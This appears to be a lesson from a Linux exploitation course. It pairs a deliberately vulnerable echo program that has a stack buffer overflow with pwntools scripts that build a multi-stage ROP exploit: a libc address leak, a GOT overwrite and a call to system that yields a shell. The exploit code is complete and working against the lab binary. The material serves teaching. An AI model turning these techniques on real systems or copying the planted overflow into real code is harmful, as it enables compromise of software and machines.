10. Multi-Stage Exploits

Multi-Stage Exploits

In this section, we will look at crafting a more complicated exploit that relies on multiple stages. Surprisingly, the vulnerable target we are looking at is the most simple of all the ones we have seen so far. It is precisely the lack of flexibility we have with such a simple target that forces us to adopt a more sophiscated exploit strategy.

#include <unistd.h>
#include <stdio.h>

void vuln() {
    char buffer[16];
    read(0, buffer, 100);
    write(1, buffer, 16);
}

int main() {
    vuln();
}

It is very simple. It simply echoes your input. It is vulnerable to a standard buffer overflow but ASLR and NX are enabled which means the only things you have to work with is read, write, and the gadgets that are present in the tiny binary.

amon@bethany:~/sproink/linux-exploitation-course/lessons/12_multi_stage/build$ ./1_vulnerable
Hello World
Hello World

Crafting the Exploit Step by Step

First, as we always do, we need a skeleton script to give us our EIP control.

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_vulnerable")

    payload = "A"*28 + p32(0xdeadc0de)

    p.send(payload)

    p.interactive()

if __name__ == "__main__":
    main()

Next, we would like to try and leak a libc address. We can achieve this by creating fake stack frames that execute write(STDOUT, write@got, 4). This will print 4 bytes of the write@got address to stdout which we can receive on our exploit script.

#!/usr/bin/python

from pwn import *

offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b

read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014

def main():
    p = process("../build/1_vulnerable")

    # Craft payload
    payload = "A"*28
    payload += p32(write_plt)
    payload += p32(0xdeadbeef)
    payload += p32(1) # STDOUT
    payload += p32(write_got)
    payload += p32(4)

    p.send(payload)

    # Clear the 16 bytes written on vuln end
    p.recv(16)

    # Parse the leak
    leak = p.recv(4)
    write_addr = u32(leak)
    log.info("write_addr: 0x%x" % write_addr)

    p.interactive()

if __name__ == "__main__":
    main()

This works easily enough to get us that leak.

ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 2_leak_system.py
[+] Starting local process '../build/1_vulnerable': Done
[*] write_addr: 0xf76569f0
[*] Switching to interactive mode
$  [*] Got EOF while reading in interactive

[*] Process '../build/1_vulnerable' stopped with exit code -11
[*] Got EOF while sending in interactive

The Killing Blow

Now, remember that what we are doing is creating a rop chain with these PLT stubs. However, if we just return into functions after functions, it is not going to work very well since the parameters on the stack are not cleaned up. We have to handle that somehow.

This is where the pop pop ret gadgets come in. They allow us to advance the stack and make sure our faked stack frames are coherent. We need a pop pop pop ret sequence because our write call had 3 parameters.

ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/build$ ropper --file 1_vulnerable
... snip ..
0x080484e9: pop esi; pop edi; pop ebp; ret;
... snip ..

What should we do next then? What we want to do is overwrite a GOT entry so that we can execute system. Now, we can leverage the fact that a read call is basically an arbitrary write primitive. So our entire rop chain sequence would look something like this:

  1. write(1, write@got, 4) - Leaks the libc address of write

  2. read(0, write@got, 4) - Read 4 bytes of input from us into the write GOT entry.

  3. system(some_cmd) - Execute a command of ours and hopefully get shell

Now, of course we have a possible issue. Since our ROP chain would have to include the address of the command on the first read, we have two choices:

  1. Expend another read sequence to write "/bin/sh" somewhere in memory

  2. Use an alternative command (such as ed)

Option 1 is not feasible as it takes 20 bytes to construct a frame for read. This is a heavily cost when we only have 72 bytes to play with. So, we have to go with Option 2 which is easy enough to get.

gdb-peda$ find ed
Searching for 'ed' in: None ranges
Found 393 results, display max 256 items:
1_vulnerable : 0x8048243 --> 0x72006465 ('ed')
1_vulnerable : 0x8049243 --> 0x72006465 ('ed')

With all of the information in hand, we can write our exploit:

#!/usr/bin/python

from pwn import *

offset___libc_start_main_ret = 0x18637
offset_system = 0x0003ada0
offset_dup2 = 0x000d6190
offset_read = 0x000d5980
offset_write = 0x000d59f0
offset_str_bin_sh = 0x15b82b

read_plt = 0x08048300
write_plt = 0x08048320
write_got = 0x0804a014
new_system_plt = write_plt

pppr = 0x080484e9

ed_str = 0x8048243

def main():
    p = process("../build/1_vulnerable")

    # Craft payload
    payload = "A"*28
    payload += p32(write_plt) # 1. write(1, write_got, 4)
    payload += p32(pppr)
    payload += p32(1) # STDOUT
    payload += p32(write_got)
    payload += p32(4)
    payload += p32(read_plt) # 2. read(0, write_got, 4)
    payload += p32(pppr)
    payload += p32(0) # STDIN
    payload += p32(write_got)
    payload += p32(4)
    payload += p32(new_system_plt) # 3. system("ed")
    payload += p32(0xdeadbeef)
    payload += p32(ed_str)

    p.send(payload)

    # Clear the 16 bytes written on vuln end
    p.recv(16)

    # Parse the leak
    leak = p.recv(4)
    write_addr = u32(leak)
    log.info("write_addr: 0x%x" % write_addr)

    # Calculate the important addresses
    libc_base = write_addr - offset_write
    log.info("libc_base: 0x%x" % libc_base)
    system_addr = libc_base + offset_system
    log.info("system_addr: 0x%x" % system_addr)

    # Send the stage 2
    p.send(p32(system_addr))

    p.interactive()

if __name__ == "__main__":
    main()

Running the exploit:

ubuntu@ubuntu-xenial:/vagrant/lessons/12_multi_stage/scripts$ python 3_final.py
[+] Starting local process '../build/1_vulnerable': Done
[*] write_addr: 0xf760c9f0
[*] libc_base: 0xf7537000
[*] system_addr: 0xf7571da0
[*] Switching to interactive mode
$ !sh
$ ls -la
total 20
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13  2017 .
drwxrwxr-x 1 ubuntu ubuntu 4096 Jan 13 19:08 ..
-rw-rw-r-- 1 ubuntu ubuntu  212 Jan 13 18:16 1_skeleton.py
-rw-rw-r-- 1 ubuntu ubuntu  776 Jan 13 18:30 2_leak_system.py
-rw-rw-r-- 1 ubuntu ubuntu 1410 Jan 13 18:50 3_final.py
$
[*] Stopped program '../build/1_vulnerable'

Last updated